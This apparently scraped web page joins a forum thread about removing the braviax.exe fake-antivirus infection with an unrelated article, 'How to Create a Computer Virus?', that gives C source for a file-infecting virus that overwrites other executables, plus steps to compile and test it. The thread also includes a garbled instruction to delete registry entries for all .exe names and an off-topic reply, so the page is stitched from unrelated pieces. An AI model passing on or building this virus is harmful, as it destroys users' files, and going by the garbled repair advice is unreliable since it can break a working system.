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PC laptop infection braviax.exe

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My laptop has been infected with a nasty virus that sits in the bottom left menu bar ( a red button with a white cross ) apparently its quite a wide spread problem, and it keeps popping into the screen saying windows has detected a virus and to download its anti spyware to fix the problem which of course will only make it worse. I just can't seem to find a way to clear it ! I would be grateful for any suggestions. The source seems to be braviax.exe.

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Thank you for viewing my problem. I went back to Staples and they solved the problem. The icons on the desktop had been set to large. When they decreased the size of the icons the program also reduced in size. All controls became visible and everything was working fine.

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Go Start- Run -Enter regedit--View-fine-Enter >.exe>Clik Find
After Surch Delete All File Name Of .exe
Than Clik F3 After Complete Surch Restart Your PC.

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Try this method as virus removals are tricky if you are a novice.
Before we start fixing anything you should print out these instructions or copy them to a NotePad file so they will be accessible. Some steps will require you to disconnect from the Internet or use Safe Mode and you will not have access to this page.

Download SDFix and save it to your desktop.(GOGGLE IT)
Double click SDFix.exe and it will extract the files to %systemdrive%
(this is the drive that contains the Windows Directory, typically C:\SDFix). DO NOT use it just yet.

Reboot your computer in SAFE MODE" using the F8 method. To do this, restart your computer and after hearing your computer beep once during startup [but before the Windows icon appears] press the F8 key repeatedly. A menu will appear with several options. Use the arrow keys to navigate and select the option to run Windows in "Safe Mode".

Open the SDFix folder and double click RunThis.cmd to start the script.

  • Type Y to begin the cleanup process.
  • It will remove any Trojan Services or Registry Entries found then prompt you to press any key to Reboot.
  • Press any Key and it will restart the PC.
  • When the PC restarts, the Fixtool will run again and complete the removal process then display Finished, press any key to end the script and load your desktop icons.
  • Once the desktop icons load the SDFix report will open on screen and also save into the SDFix folder as Report.txt.
  • Finally copy and paste the contents of the results file Report.txt in your next reply along with a new HijackThis log.

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Press Crtl+Alt+delete and open task manger then click on process tab. Highlight ave.exe and click on end process


Try the following steps


Go to Start> Run. Type notepad and press enter...
While notepad will open, copy all the text on notepad.



Windows Registry Editor Version 5.00

[-HKEY_CURRENT_USER\Software\Classes\.exe]
[-HKEY_CURRENT_USER\Software\Classes\secfile]
[-HKEY_CLASSES_ROOT\secfile]
[-HKEY_CLASSES_ROOT\.exe\shell\open\command]

[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"%1\" %*"

[HKEY_CLASSES_ROOT\.exe]
@="exefile"
"Content Type"="application/x-msdownload"


Then save this notepad as fix.reg on the Desktop


*** (Remember to select All Files on save as as window while saving the notepad) ****


Double Click on fix.reg and then click YES for confirm.


Restart the computer.

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How to Create a Computer Virus?
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Submitted by Srikanth on Friday, 7 December 200781 Comments This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
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while(!done)
{
virus=fopen(_argv[0],”rb”);
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x=89088;
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{
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fread(buff,x,1,virus);
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next:
{
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printf(“TIME TAKEN=%f SEC\n”,
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BORLAND TC++ 3.0 (16-BIT):

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1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
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